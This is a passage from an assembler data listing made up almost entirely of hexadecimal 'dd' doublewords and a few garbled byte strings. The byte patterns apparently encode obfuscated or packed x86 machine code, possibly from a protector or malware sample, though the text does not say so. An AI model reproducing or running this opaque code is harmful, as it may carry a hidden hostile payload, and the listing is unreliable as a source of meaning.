839FFCD2h, 8A6D2B29h, 1A8E0FE6h dd 0E8000000h, 11h, 917DB994h, 33BBDFB5h, 6B6FB2AAh, 0CA567320h dd 0DFB70F2Ah, 6880F58h, 81000000h, 1B9DFC0h, 17E2803Fh dd 66D98B66h, 0B70FF18Bh, 12E8CBh, 74B90000h, 0D0BAA6D0h dd 82B4ABCCh, 0AAADBDCh, 74F52C00h, 0C28B6658h, 0FC6B70Fh dd 87h, 0C68B6000h, 11E961h, 93F10000h, 19EB38C2h, 765565E4h dd 3097D800h, 0E8CA9AE5h, 0Eh, 0A6C45860h, 919CD966h, 6FBB3B26h dd 870FCC9Ah, 5, 58DB8166h, 0DE95BC3h, 8B000000h, 4EC53037h dd 2BD3D0A7h, 0F66B47Fh, 0BB76F5B9h, 13E955h, 0EE240000h dd 0AA22FFD2h, 6215780Bh, 0BCBC9ABFh, 71713CFEh, 0D0BE666Ch dd 0FE867h, 77A30000h, 856DBB21h, 0DAD1E1D0h, 34C1F835h dd 30BB6681h, 1EB05A8Ch, 0E9D0B70Fh, 13h, 0ACB5CCDAh dd 2FE754ABh, 9C552BB1h, 78059C8Dh, 0B793BB7Fh, 0CF8B6633h dd 19B96657h, 81665F18h, 0B5EA60C8h, 0FC18BD6h, 8B66C8B7h dd 12E9F3h, 0BA8B0000h, 0E5E0B3C3h, 27A1C94Ah, 9795741Ch dd 45070B67h, 0ACF8166h, 0D18B6684h, 8C0Fh, 0BE660000h dd 860F6C15h, 1, 10E8FCh, 7D590000h, 334212F1h, 0EAEE2C03h dd 0E5042086h, 0BF0F1E66h, 7E958C7h, 0 dd 8819F784h, 81662649h, 50C747F6h, 6860Fh, 810F0000h dd 0 a_lS db '_‹Þé',0Bh,0 align 4 dd 0DAB4037Bh, 0B371AE3Ah, 8B2114CEh, 0BE6660CBh, 0E960F53Eh dd 0Dh, 0E45FB6C5h, 9624793h, 8029B6C7h, 78CF8124h, 61501D88h dd 60F38B61h, 5EC88166h, 0B26061EDh, 3850FF3h, 66000000h dd 0F861C68Bh, 0BE9h, 0F0831800h, 0EED8B1AAh, 0EAE3A87Eh dd 10800Fh, 0BE90000h, 94000000h, 0C7B96E2Bh, 23D3E866h dd 0B966A0D8h, 0DA8B4F5Ah, 9E8h, 7BAC2500h, 748FA1A1h dd 0BF0F6A5Eh, 0BE85BDEh, 0A4000000h, 5BD874A1h, 9F1C80F1h dd 10E993E3h, 86000000h, 18D86B27h, 5798E8F5h, 5E7ACDCBh dd 583D9990h, 0BFC68166h, 13E9C6h, 0C5840000h, 91715C6Ah dd 0F5395FA1h, 0CA082D5Fh, 0F31D56ACh, 7E873h, 0EC540000h dd 0BCF7B1A3h, 0DEEE816Bh, 584FCDAEh, 0DE8h, 0EA43E200h dd 12FB799h, 0CD02EDCFh, 0E851E3CBh, 7, 0E9C2EA82h, 5F1E2E1Eh dd 0D9BB5E5Eh, 6022B3D7h, 0F9BF0FF5h, 80E88A61h, 0BE99EF0h dd 0BD000000h, 43D987C1h, 47A0DDABh, 5EBAA9E9h, 8B004DACh dd 0B70F60D3h, 7172B9FAh, 8B617AD9h, 0B9F960C2h, 4EDAAAE3h dd 78A0F61h, 0F000000h, 182h, 9E9FC00h, 82000000h, 7FE295Ch dd 7549A9DEh, 5E8h, 8DAF1C00h, 8E0F1D7Dh, 4, 8BFFBF66h dd 0D2BA665Bh, 570FB422h, 0B85BD38Bh, 374B2211h, 24BFCA8Ah dd 0F542D9Eh, 1989h, 14E900h, 0D8CE0000h, 1278F2E5h, 7A608BC3h dd 87849073h, 623F18E2h, 0E480CC91h, 20CC801Fh, 12E856h dd 0A0990000h, 7A4D62E3h, 4068A6DEh, 8AE70942h, 47214B6Ah dd 585B6160h, 0DA07CF81h, 8B0F0150h, 6, 0E777D881h, 8A0F0045h dd 0Ch, 6800Fh, 800F0000h, 0 aLKxaSs db '»]‹&~Šå€Ñéé',0Bh,0 db 2 dup(0), 3Dh dd 0B6121DEFh, 0B4F2E98Eh, 8E9120Bh, 47000000h, 0F540B1A2h dd 0E86D1D20h, 0Fh, 45048049h, 2E402438h, 0AAA51868h, 0FE9ED14h dd 487h, 5CB96600h, 66565859h, 0B95BD88Bh, 630E5E3Bh, 97C38056h dd 0F53605Bh, 86h, 66615B00h, 0E958ACBFh, 0Ah, 0D0945573h dd 316F3806h, 880FD33Ah, 2, 840FF08Ah, 5, 5E60EABFh, 0EE85735h dd 75000000h, 114EE8Eh, 62C0A646h, 78D424BCh, 800F14h dd 58000000h, 118E0F5Ah, 0E8000000h, 0Bh, 65BA1DC7h, 83B334EBh dd 5A64AF9Dh, 810Fh, 0E9600000h, 7, 9CDD2FA3h, 0F069375h dd 6061D7B7h, 9ADB8166h, 8166615Ah, 0BA0185D0h, 569E4A24h dd 17820FF9h, 0E8000000h, 0Fh, 32B532D6h, 4BFA1BD2h, 9AFB91h dd 8A921F1Ch, 0F3815BDDh, 4004AA38h, 14E8FC8Ah, 54000000h dd 8BFA5B4Bh, 0BECAE279h, 0E6AC7ACBh, 5B0330E5h, 50D22F72h dd 810Fh, 5B590000h, 0F8C78B60h, 8B665361h, 0BF665AF1h dd 816698B2h, 0E91E29DEh, 11h, 0DA7B2FD1h, 0D7D37CA7h dd 0D2CA6EAAh, 0B0877283h, 8F0FF9A7h, 2, 860FA1B2h, 2 dd 0F08BF18Ah, 12E9h, 763E3C00h, 0FA21D4DBh, 0E5F1A6E9h dd 6F0CF781h, 66E32525h, 0D68BF98Bh, 38D0FF9h, 66000000h dd 0F50DE8Bh, 38Ch, 54D58000h, 3870F5Bh, 0F000000h, 0C38BFFBFh dd 92C78166h, 0E96EB6B9h, 8, 127E98C9h, 92F0F99h, 4A6DB966h dd 5AF88B53h, 0FC9B70Fh, 187h, 0CE9FC00h, 28000000h, 5737D8A0h dd 54394C70h, 8A3C51ADh, 4329BBF0h, 0E6817058h, 3CCAFF60h dd 0E9CEBABBh, 0D78A5001h, 80E28A5Bh, 8166ABE3h, 66C04EC3h dd 860FD08Bh, 1Ah, 14820Fh, 0FE90000h, 3D000000h, 0B06FB12Bh dd 0BAB73E5Fh, 0C121FD57h, 850F3A03h, 0 dd 840Fh, 0E1800000h, 8C69B907h, 11E97E4Eh, 9000000h, 771C18B9h dd 930E5EF0h, 0A73C94D1h, 39951EBEh, 0BE9h, 2238E300h dd 61E1405Dh, 92111266h, 2870Fh, 5E520000h, 55CE8166h dd 0F1E8B8F6h, 890F7074h, 6, 0FB0CF281h, 870F3243h, 4 dd 59EA8A51h, 52F89CB7h, 0FFCF55Bh, 68Eh, 0AEF38100h, 0F5698BBh dd 1689h, 0EE800h, 6A660000h, 0E7A0BD7Fh, 697D81ABh, 650D3E75h dd 665B6160h, 12E9D08Bh, 0C0000000h, 84CEA393h, 0D6450235h dd 0FB300D4Bh, 8D25072Bh, 18E0F8Bh, 0F8000000h, 80D08B66h dd 8B667BF1h, 0D7B70FD0h, 5E8F9h, 475C0000h, 0FC7D87E5h dd 5810F58h, 0B9000000h, 35CA97B0h, 0BC4EEE81h, 0B70F2B48h dd 0D38166C8h, 0F5088F6h, 688h, 8DE28100h, 5B3D9140h, 3840Fh dd 0B70F0000h, 0E9FA8BD8h, 5, 0EC1FD6B1h, 6EDE81BCh, 0F964190Dh dd 5AD38B57h, 830F84B3h, 8, 0E0D98160h, 613D666Eh, 3AB5C88Bh dd 0C6C18166h, 0C9B96692h, 0C4F781AAh, 8B6979FAh, 0D9B966D6h dd 6E9EEh, 0C2410000h, 99A73D8Eh, 0E9C38B66h, 13h, 0E8BB2611h dd 517A4EEEh, 5A68553h, 0D6691C6Ah, 0F881487h, 98Ah, 0F08B6000h dd 770738B9h, 0D1816176h, 4F041B92h, 0BC1EBB66h, 28A0Fh dd 0C78B0000h, 5FC88A50h, 7E9h, 56C23900h, 0B895075Bh dd 6A89B1BFh, 0E94DBF31h, 0DB8106D4h, 61E33410h, 0F38B6660h dd 5AE18A56h, 8AF96061h, 0E96061D0h, 6, 0D8DCF92Ah, 66609133h dd 0BB5F44B9h, 6CE2A77Bh, 3DB26161h, 12E8h, 757F400h, 933C80D1h dd 17526C7Fh, 9DC7B63Dh, 0FDAAA8Bh, 0E95AD8BFh, 13h, 0C7B338BAh dd 60A8B530h, 0EA63B6B1h, 8E22FBB9h, 5721545Dh, 0E9C98166h dd 0EA815F1Bh, 69C64C12h, 0DB4CB866h, 1EEFBE66h, 2974C881h dd 0FC606145h, 6661D88Bh, 850FF28Bh, 3, 0B2CAF780h, 0E9CA8BA6h dd 10h, 0AD790CA9h, 72D4D6A4h, 341821C2h, 4CB6E04Eh, 5683B866h dd 28C0Fh, 0C28B0000h, 421BF0B9h, 8B666034h, 0B8A0FD8h dd 0E8000000h, 5, 96ABA673h, 66615F39h, 1896D681h, 847B960h dd 0D88B6C90h, 123DB961h, 0F6B8257Eh, 0B03C9E49h, 8166F956h dd 0F8FB2DCEh, 0E9F4CF80h, 0Bh, 4E102624h, 8D669244h, 509A4ECEh dd 5BB3C780h, 66F0B70Fh, 81CD16B9h, 14045AD3h, 0D18B6638h dd 68BCBF66h, 0AE9h, 729BAC00h, 9749AB6Fh, 0E8B251ABh dd 13h, 0DFAAFE82h, 3A510386h, 4F6526F3h, 973238D3h, 6606DF2Ah dd 582EB8BBh, 12830Fh, 66600000h, 0E8319BBAh, 6, 6DEA4F06h dd 615E84BEh, 66F98B66h, 385C081h, 66CF8B66h, 37BBD98Bh dd 0F97E9BF3h, 850310BEh, 0D2BB6645h, 0DF8166EAh, 8B66D4ADh dd 0D98166C2h, 0C18BFD9Eh, 13E9h, 14CC0B00h, 19E20E3Fh dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 10E960h, 0B5A00000h dd 3B526818h, 39E037h, 729BAC45h, 810FAB6Fh, 5, 89AA53B8h dd 20B66175h, 880FF8F8h, 15h, 10E9h, 238AE600h, 35B99C41h dd 0E5A2B325h, 3AEE7C74h, 5800F1Ah, 66000000h, 0E410C181h dd 0B866D78Ah, 0BF0FEC39h, 0CE8A60DBh, 12E9h, 9CEA1C00h dd 5FF3A918h, 0FBBCE79Bh, 9D788C7h, 6120C422h, 13E8h, 0C71C4800h dd 0F01F0A13h, 48ED0D36h, 0F0FE2825h, 0BFAF7E5Fh, 0FE8535Ah dd 37000000h, 0E22074C9h, 2F6DD56Bh, 40BC1E47h, 61604956h dd 0DB815E5Bh, 6E505F11h, 0A00BD3BAh, 0F58522Bh, 28Ah dd 0E9F08A00h, 5, 276A3E48h, 0C461BE1Fh, 8D0F38B9h, 5 dd 0D1F28166h, 816660D9h, 66DE83C1h, 0F420CA81h, 0DE861h dd 656C0000h, 0B3E298ADh, 7A261E71h, 0E9A90CF9h, 10h, 0D4A4FB0Bh dd 0C03F46F8h, 92B06C45h, 0B7D7363Ah, 12E85Eh, 0F1490000h dd 0E8038F06h, 65837B66h, 0DC909B1Ah, 0EAB2E741h, 666058F5h dd 0E9629CBFh, 0Ah, 0CA5FDCE6h, 0E7CE8469h, 6661F7F9h dd 0F60C38Bh, 1980h, 13E800h, 16100000h, 8B2923B2h, 0FD58CFC6h dd 0A389944Ch, 2E54243Ch, 0BF665B34h, 6661F705h, 8B66DE8Bh dd 0C830FDAh, 0E9000000h, 7, 3E159C7Dh, 8AEB63ADh, 0CE8056F3h dd 0DA8B58D5h, 0CBD8BE66h, 6E9h, 0DF749E00h, 8B7011E0h dd 11E9DAh, 44F40000h, 2BC52750h, 138F9699h, 8634D032h dd 0FEE44DAh, 389h, 0D0BF0F00h, 830Fh, 820F0000h, 1, 0FE9F8h dd 0CBB0000h, 39230273h, 0BF796F1h, 598EE6F7h, 0BE93Ah dd 0DA770000h, 0C8F4509Bh, 4DA818F5h, 820FFCB8h, 2, 8150B2B1h dd 656AFCDBh, 0B5BA5F5Ah, 53709819h, 0CCC9F181h, 605B1E53h dd 66F4D280h, 6123CCBEh, 7E950h, 835B0000h, 0FDDD1685h dd 0B6605E7Fh, 0C28B66ADh, 5E861h, 7F980000h, 0BAE8C79Bh dd 58B86848h, 7E95Bh, 83420000h, 63DFAD62h, 66F08A1Dh dd 8B4D95BBh, 0DE8166F0h, 0E8F58FEBh, 13h, 0E799BA59h dd 0FEE2251Ah, 0C9091C0Ah, 201B8E6h, 66122D19h, 4B1FDF81h dd 0AE9F55Ah, 0C1000000h, 977B4A7Fh, 9874E1FDh, 0BE843h dd 26240000h, 92444E10h, 4ECE8D66h, 0BF66569Ah, 5A5B8668h dd 840F5E56h, 5, 0EDEB8166h, 3820FF4h, 66000000h, 870FC38Bh dd 6, 5D74F081h, 13E900E2h, 0B1000000h, 184FA404h, 2EA333E2h dd 0A62C7B09h, 4369039Eh, 0F60E63Bh, 280h, 8A585700h, 0AE961D4h dd 0AC000000h, 0EBC85ADBh, 3050D749h, 0FE7B744h, 580h dd 0C8816600h, 11E9D439h, 0D0000000h, 0EFD13CDEh, 0FFF5D981h dd 57D6B92Fh, 3B1CFC89h, 2820Fh, 0D88B0000h, 43B5F08Bh dd 81F98B66h, 191D80C0h, 5E962h, 4BBD0000h, 603A4DA2h dd 0FABF0F57h, 76ED805Bh, 0BE861h, 61D10000h, 0DDA053B6h dd 0C150CE17h, 12E9DCh, 915D0000h, 4C3F6295h, 9D03F25Eh dd 8DF5B72Fh, 77CE945Bh, 0EFB86658h, 48BF66ACh, 50E780E2h dd 75B86660h, 0D68B6646h, 0F8BA6061h, 8B7C6312h, 0BF0F61DFh dd 0F1BF0FFAh, 5E9h, 0B7BF7500h, 8B0FD285h, 0 dd 0D2E88166h, 58A0F19h, 66000000h, 1043E681h, 889814BFh dd 0DA816618h, 0CA8BBA9Ah, 12E8h, 0C515D00h, 782F5881h dd 9F184229h, 75C11BCFh, 0F90DC726h, 56D98B5Bh, 805BB660h dd 59617ACFh, 6E9F78Bh, 43000000h, 0D6BD6D83h, 392DBA73h dd 0C181579Ah, 684E2629h, 9E9h, 0A6DBD800h, 0A2663103h dd 0BF66C19Ah, 8D0F8CF6h, 1Ch, 13E8h, 0ABEDAE00h, 65CED2D7h dd 0DD4A71A7h, 39F0C809h, 19171E70h, 5AFB8B66h, 2EAACB81h dd 0BF663A27h, 8A5114AAh, 0D98058CBh, 0D9BF0F31h, 0CD805360h dd 66615E6Bh, 0E9C355BBh, 13h, 0B5B91CDAh, 13FA1377h, 65CBCFCFh dd 54D9AE12h, 0B1C5C48Dh, 81B350EAh, 68A0F59h, 81000000h dd 708C11C6h, 0EE93Fh, 0F60D0000h, 0AB7C5FBEh, 88E40604h dd 7D0A39AAh, 9253B866h, 0EE8h, 0AFBE4600h, 9E73687Fh dd 1BF1A4C6h, 818144D3h, 84C4AAC7h, 8B66585Fh, 0FE9D9h dd 0A7360000h, 1C202EC8h, 4A44463Fh, 9F068132h, 0C281662Dh dd 0E98023EEh, 10E918h, 7B690000h, 0EDE2DA4Ch, 0A2A05237h dd 0B2E4A0C4h, 0EF8140D9h, 582DAF50h, 5E9h, 0AC0D8F00h dd 800FF1A3h, 3, 0E8F18B66h, 0Ch, 4EB5558h, 864532C6h dd 9BB535C9h, 13E9h, 18B7DC00h, 16F3AAFAh, 891E8A63h, 0C46ADDC5h dd 43726728h, 5AB96659h, 0BE9B3h, 4FB40000h, 3A9C828h dd 8DDC7CE2h, 861BB85Ch, 14E90B4Fh, 1B000000h, 0EB83C1A1h dd 77B123BAh, 0CCEFA66Fh, 3C3737B8h, 0B95CAC78h, 14AD47B2h dd 0AE9F8h, 49400000h, 0E745DDEEh, 0BE58FA36h, 66D4EC80h dd 800FCA8Bh, 2, 8E96CB4h, 55000000h, 5428CBD4h, 0F2FA3C2h dd 1783h, 0BE800h, 8E640000h, 5F335E2Fh, 0E1E94FDBh, 7DCE8128h dd 5E7B2D4Ah, 0B960F380h, 5A7AA3FEh, 6E18166h, 0D3A2B86Eh dd 810F647Fh, 0Ch, 6810Fh, 8D0F0000h, 0 dd 0BCD28166h, 8B66569Bh, 0D98058D7h, 8166F555h, 8170D0DBh dd 7440F5DFh, 0EBA663Ah, 0D9BF0F3Ah, 1870Fh, 66F90000h dd 0FE4E0BAh, 0F60DBBFh, 8Ch, 0E5B96100h, 0E934A06Ch, 9 dd 80D20927h, 0F3467477h, 3CBA66F2h, 0DAEB8082h, 0AE9h dd 0A1401D00h, 7C6F0DF8h, 0F068ADBh, 5CB9CFB7h, 6662E5CBh dd 8B97ACB9h, 0C5BF66D8h, 0F18B66B3h, 0AE9h, 0EDBBA100h dd 5B3C8876h, 664BFE85h, 4EDDE181h, 0D0B70FF5h, 3850Fh dd 8B660000h, 0CBBA53FAh, 5F68E81Fh, 0E9D1B70Fh, 7, 5FADE21Ah dd 0F3BC095h, 1381h, 0EE900h, 0D2500000h, 0DB20C3E1h, 0D796112Eh dd 16DB6817h, 108E0Fh, 7E80000h, 24000000h, 0E0366DD2h dd 0BF0F3D0Eh, 91BE5FCAh, 0F5146F6h, 850FDEBFh, 19h, 14E9h dd 8706B900h, 0E52AC544h, 0BF83750Ch, 94E19DB5h, 0E3477A0Ch dd 3810F7Bh, 66000000h, 8166F98Bh, 667CD0E8h, 0FD9B0B9h dd 48Fh, 5EB96600h, 0C0816663h, 6E9365Eh, 0AF000000h, 4DE17498h dd 14F38177h, 603074EFh, 0AE8h, 0FDD4800h, 7402AAA3h, 804DA063h dd 615BC9EEh, 17840F56h, 0E8000000h, 11h, 69F6BECFh, 2233D378h dd 7E137B56h, 0B10B69FBh, 0BB5B5F4Fh, 7E62E066h, 1E8E0Fh dd 820F0000h, 18h, 13E9h, 0BC39A400h, 361FA045h, 21C78AA2h dd 6E9D10EBh, 0F00233Bh, 12E9h, 0C0955F00h, 146ACD3Bh dd 53E3DF2Dh, 578145BFh, 0F542B0Ah, 0CE9DEBFh, 0AE000000h dd 7185B434h, 0F368FF58h, 0F86030ECh, 7C38160h, 664F58E2h dd 61FCDCBAh, 5F576050h, 8E9h, 0BAE51000h, 43E30F1Dh, 0E95861F5h dd 5, 251F2509h, 9ACA8155h, 0E95497B6h, 9, 6DAFFC82h, 569CA831h dd 7810F4Dh, 0F000000h, 189h, 0D281F800h, 6A5F9F54h, 4890Fh dd 0BF660000h, 0D3815D7Bh, 2F1DF80h, 0BDAFC381h, 0F3810253h dd 22CFC25Fh, 0B70F60F8h, 5840FC6h, 0BF000000h, 6B4CFCCCh dd 8B666061h, 8061F8CFh, 81662AEFh, 0FC9133C8h, 0AE9h dd 1CA20800h, 0FED4B221h, 0E84CAB04h, 6, 7735C364h, 0BE5A0893h dd 63A4DF58h, 0F4B4EDB8h, 0D18B6669h, 148F0Fh, 820F0000h dd 0Eh, 9E9h, 7F148C00h, 0EF949A27h, 8A60CB4Ah, 0DE961E6h dd 0FA000000h, 0F5960F8Ah, 5DDF4726h, 970D107Bh, 8E8E18Ah dd 0C2000000h, 6549B908h, 0F3811F8h, 0C84h, 7E900h, 30870000h dd 9690F5h, 0DA8B5A38h, 0A3EE8166h, 9AEC8011h, 0CF38166h dd 0DA8B6675h, 840FCF8Bh, 15h, 10E9h, 0A4941900h, 0F098FB9Fh dd 0FC8D7CE9h, 30881A20h, 16820F2Ch, 0E9000000h, 11h, 9F078C0h dd 0D1066B45h, 4C20BEF1h, 0BED4F249h, 0DE8B66ADh, 0AF15D981h dd 8A607350h, 8CFB8EFh, 0BE614C19h, 12A72140h, 6E9h, 16A4ED00h dd 60EDB39Eh, 7E8h, 4F66300h, 48BC66E3h, 0E8585A57h, 6 dd 2AB0F418h, 615E2722h, 10E9h, 4AFE2200h, 68EAB034h, 51419E34h dd 8F2EB188h, 88D0F9Bh, 0F000000h, 285h, 0BE5F5700h, 65C0B3C0h dd 0F8C78B66h, 0B6D68166h, 0BE947h, 0FA630000h, 308B73C3h dd 2D774FC9h, 74F3B8F0h, 816654E4h, 0E902ECC9h, 5, 0AE793F75h dd 7E76BBB6h, 8C0F0BB4h, 3, 0FFE8B66h, 381h, 0D5EB8000h dd 81F98B66h, 198106DEh, 0BE962h, 0F470000h, 0FF502C0Dh dd 0D1D69BD0h, 0C28B6661h, 9F2FD7BAh, 1F8C0F1Bh, 0E8000000h dd 0Fh, 4CB7F086h, 0EA74CD6h, 6BADF61Ah, 0E958F96Eh, 5 dd 786F8938h, 0C7BE5BE9h, 516366C2h, 60605BF5h, 49CB8166h dd 61FA8A7Eh, 0BE9h, 0F13E1100h, 33E936Dh, 0A73228C9h dd 0FE961h, 3B740000h, 59062301h, 7B240102h, 0F66CA3F9h dd 0F629BE9Fh, 66F87B4Ch, 8B4D20B9h, 0BE9D7h, 94480000h dd 96231185h, 86F476A1h, 0B889B89Ah, 81662E24h, 0E94846DBh dd 0Eh, 9C2668DCh, 21C61574h, 25DA2134h, 0F60D7A2h, 1781h dd 12E900h, 29E40000h, 7D74C436h, 0FB1A453Eh, 174FE9F5h dd 0BE5CE910h, 61D78B66h, 36AB866h, 0DBD98166h, 11DF8180h dd 66207167h, 0BEFDC881h, 0F98B5951h, 840Fh, 0FE80000h dd 72000000h, 0F9856C68h, 68C71B45h, 0A0239B6Bh, 8C0FA70Dh dd 4, 0B992B866h, 8B66505Fh, 0EE858CFh, 72000000h, 465D2035h dd 45EB740Ah, 0FED19DE5h, 0BE9FFh, 26FE0000h, 8F78355Ah dd 0C4045145h, 0FC605A92h, 9E8h, 0DD234600h, 19F9E168h dd 0F28BB86Ah, 830F6158h, 8, 28C0Fh, 5B510000h, 11E9h dd 5C15AA00h, 32D4162Ah, 0C9604BBh, 0FE9AB1FCh, 8B663472h dd 1820FFEh, 0F9000000h, 36CBB966h, 0CE9h, 0A8228500h dd 0C80DF317h, 8D200594h, 0E2EB81D8h, 0B846B71Fh, 711D5944h dd 0D1E68166h, 0AE93Bh, 5340000h, 0DDE8E080h, 0CAEE4C6Fh dd 0FA2EC80h, 84h, 0F78B6600h, 13E8h, 4A538000h, 0DE6A8FF7h dd 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h, 0B70F5BF9h, 0F98B66D7h dd 3408BF66h, 5B3B37BFh, 0F8B70F0Fh, 0F533F480h, 6B38D5B8h dd 7830F5Ch, 60000000h, 8B665E51h, 816661FEh, 66A0C8E9h dd 0D6D9F281h, 950801BEh, 0DE8AF557h, 4C94BA66h, 0F8C0Fh dd 0AE90000h, 67000000h, 0CECA1209h, 62F268Dh, 8CB966ADh dd 3EC68143h, 661DFFA3h, 6603E4BEh, 0BF2DE881h, 4858F281h dd 84BE3C3Ch, 0E86A16DDh, 0Fh, 2C75A799h, 8E5C5918h, 30DA8AB7h dd 0E9C4B06Eh, 6, 0FFA96C6Ch, 66598773h, 0A75DC381h, 433CB5B8h dd 11E90Ch, 3FF60000h, 0AC0D8FB0h, 7F58F1A3h, 54737E5Bh dd 500B5D6Fh, 8805F081h, 0FC5F3EE8h, 9DA9E2BEh, 0BE85357h dd 71000000h, 94D96E8Bh, 6B7176E4h, 0B70F26B2h, 0F9585AFBh dd 5ADFE881h, 11E90A6Eh, 0F7000000h, 0F133A71h, 0D1555E79h dd 0B79A30E6h, 74153276h, 0BCB8160h, 0F84A3EE7h, 1850F61h dd 0FC000000h, 9E9h, 4BA77F00h, 964B61ACh, 0F52CB99h, 0E95ECFB7h dd 12h, 1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 860F043Ah dd 5, 0B2C88166h, 0EE9D4h, 3070000h, 2AB32DA0h, 0F322BE63h dd 9101192Eh, 0DE9h, 9A217400h, 3F16970Eh, 0F8748110h dd 8B0FB9E6h, 7, 18C0Fh, 8BF80000h, 7779BBCAh, 0B7516451h dd 0F9565EABh, 0F7B70F5Eh, 0F8F5D08Bh, 0D08B66F8h, 0FE9h dd 0D5B0C500h, 0CE56CF24h, 9F797EA1h, 0B2A57066h, 0BE9h dd 0F6DCEF00h, 2597738Fh, 605B395Dh, 7FD084BFh, 5E847h dd 0AA3F0000h, 5E7EE086h, 8A0F5F51h, 1, 7E9F8h, 333D0000h dd 9F623564h, 0D3BF0FE9h, 0F76B7F8h, 184h, 0FB8BF900h dd 4FBB66F8h, 0D68B6621h, 0B5DBB70Fh, 3850FD1h, 0F000000h dd 0BFDBBFh, 66267AD0h, 0FC2C781h, 58BE6652h, 810F5E05h dd 1, 0F4AABAF9h, 8166600Ch, 66DE8BC9h, 517BFEBEh, 0F55FFE8Ah dd 10E9h, 8B181E00h, 30907F67h, 0D66B7504h, 5F011FE1h dd 0D8805259h, 0E8605B92h, 0Fh, 0DA45FE77h, 3D0D86C1h dd 691579E4h, 8B738D9Dh, 870F5BC2h, 16h, 11E9h, 6F87E700h dd 29001B6h, 0BF81DD52h, 0DC005AA3h, 60615D51h, 6060C6B4h dd 860F61h, 61000000h, 0CB816661h, 0F51D1E2h, 382h, 0DABF0F00h dd 1BB5159h, 587D20E3h, 1CA7BE66h, 11E9h, 6F119900h, 0B6329110h dd 513C5E6Eh, 0FAFE52BDh, 0FAB35D50h, 7E9h, 0C839D800h dd 4F137A00h, 0D68122B3h, 17A17DD1h, 0C18B66B3h, 0FC78BF5h dd 789h, 0A7BE5100h, 591A93B8h, 12E852h, 7CAA0000h, 0CFB24AC4h dd 9663C294h, 8E795FE1h, 91EBF02Ah, 6E8h, 9B0BAB00h, 580D4583h dd 880F5A5Eh, 3, 81C78B66h, 5A5762C0h, 14E90Ah, 0B3680000h dd 0AA03B177h, 4EF5CE62h, 0EB620917h, 3A56A39Bh, 890FDFB2h dd 2, 0EE9C38Bh, 0E2000000h, 67172CFAh, 57D1D48Bh, 1B5FBDAh dd 0F88B6615h, 0BF34F180h, 196C927Eh, 95BBB1BAh, 68B0F45h dd 0F000000h, 89h, 0AB6FBA00h, 8E85976h, 3B000000h, 6EB95786h dd 60326C5Fh, 0CE8h, 503BC500h, 0BE598A54h, 0E6E775D8h dd 61605AFEh, 8B665B61h, 0C78B66D1h, 6620C980h, 806537BFh dd 0E980A5DDh, 11E81Ah, 0FC1A0000h, 6FE2FC07h, 0DDB5FFDBh dd 0B8B469DAh, 53AC9ACFh, 0CB6FBB66h, 840F5859h, 2, 8D0FC18Bh dd 6, 24F1EB81h, 0C68143D2h, 7BC9F8C4h, 0B3C88166h, 0C3BF0F80h dd 0A932E281h, 800F7D16h, 0Eh, 9E9h, 8A086D00h, 225FAB5h dd 8E0F3ED5h, 11h, 0CE9h, 2AC54400h, 83750CE5h, 0E19DB5BFh dd 0EEE8094h, 0E90FB060h, 13h, 15CF39A9h, 81DA85EFh, 6D89F61Eh dd 38F79D9Bh, 61D62EC6h, 8800Fh, 8F0F0000h, 2, 880F38B1h dd 2Ch, 13E8h, 0C2686800h, 19C368EFh, 6F3602CCh, 0E4F7692Fh dd 0A0DE6CABh, 0EE9h, 4B991600h, 56B3996Eh, 0B29CE40Ah dd 5B787401h, 8166D7B1h, 81CFEEEBh, 19AA5EEAh, 0CAB70F0Ah dd 0BEF8BF0Fh, 5FD08487h, 6ECE8166h, 5E97Ah, 45FC0000h dd 60C007E0h, 6E9h, 0B531B000h, 0FCFEFFFh, 583h, 6790B900h dd 60613ED5h, 10E8h, 649CF600h, 9BE62A0Ch, 126ADB9Ch, 0DB581D2Dh dd 0C6816626h, 8B598019h, 860F61C7h, 5, 0DFD78166h, 1C8C0FB2h dd 0E8000000h, 12h, 0A0F85E52h, 97926708h, 26ACBA8Ah, 0D0A6928h dd 0B9664C79h, 805B84B3h, 0F78A67EFh, 0E98166F5h, 0CE92F33h dd 0E5000000h, 26786617h, 1BB755ECh, 0B20B8CA9h, 0D18B6672h dd 0B8C0Fh, 830F0000h, 5, 31F18166h, 65CB81C4h, 0FC28DD44h dd 0FD98B66h, 0B8Dh, 6E900h, 8DBC0000h, 74A859BCh, 5C7BF66h dd 13E9h, 0EE40E400h, 9D5532B6h, 0BCEFD641h, 0FDFF5323h dd 0DFEF0F59h, 0A830Fh, 5E90000h, 2F000000h, 0EF489720h dd 0FB7EE8BAh, 7CE2813Bh, 0B24EFF57h, 0DE9E2h, 0D9DC0000h dd 0EC2771FAh, 0D3329C64h, 6669D98Dh, 66FAD2BFh, 0E9FDF1BFh dd 7, 75A310B1h, 0FE67330h, 75BED6B7h, 66046BD8h, 8E9CE8Bh dd 11000000h, 42F21711h, 66B58C53h, 0E954F9BEh, 8, 0CCBAAAEBh dd 0D197BF95h, 2EB460F9h, 463E8DB9h, 0E9F56172h, 6, 831CE48Ah dd 45B8C9D4h, 0E91914D4h, 0Bh, 5993B6A1h, 0AB5F83D5h, 66086FD9h dd 7E8C88Bh, 48000000h, 0CB0BFB50h, 38BFA671h, 591107CAh dd 8E8h, 78F75D00h, 0D1CC3621h, 8AEA801Fh, 5FF78059h, 6840Fh dd 0EF810000h, 5A73DF4Dh, 5F52DA8Bh, 8E0F50h, 5B000000h dd 0D0816060h, 0BC49163h, 6E9h, 8CE87900h, 613D8538h, 61F9B70Fh dd 86B9CE8Bh, 0E93BC8B3h, 0Bh, 0B6D62682h, 9A91082Ah, 0E8E4C6DEh dd 10h, 487E8E85h, 0DA4FF69Ch, 0B595A243h, 533B3EFBh, 5A6C081h dd 665E221Fh, 8BFCC78Bh, 0FA9B4DEh, 28Ch, 0FD78B00h, 0E860F1B7h dd 8, 1DBBF144h, 3E1D2306h, 0E6815FF8h, 653A8938h, 0C6B70F61h dd 7E9D68Bh, 16000000h, 4E53849Ch, 0E9607385h, 10h, 9D31281Eh dd 6D11A745h, 0CC29EAB3h, 0C4A92332h, 5E9h, 0E2CF7000h dd 66619550h, 8B66CE8Bh, 4890FDEh, 66000000h, 818C72BFh dd 589241EFh, 80C58A77h, 0FF50DC4h, 68Fh, 0A1F38100h, 0E821C74Ah dd 5, 0DFE46BD3h, 1830F10h, 0F5000000h, 60EF8A5Eh, 0F79CA80h dd 686h, 890F00h, 61000000h, 0FF3B70Fh, 588h, 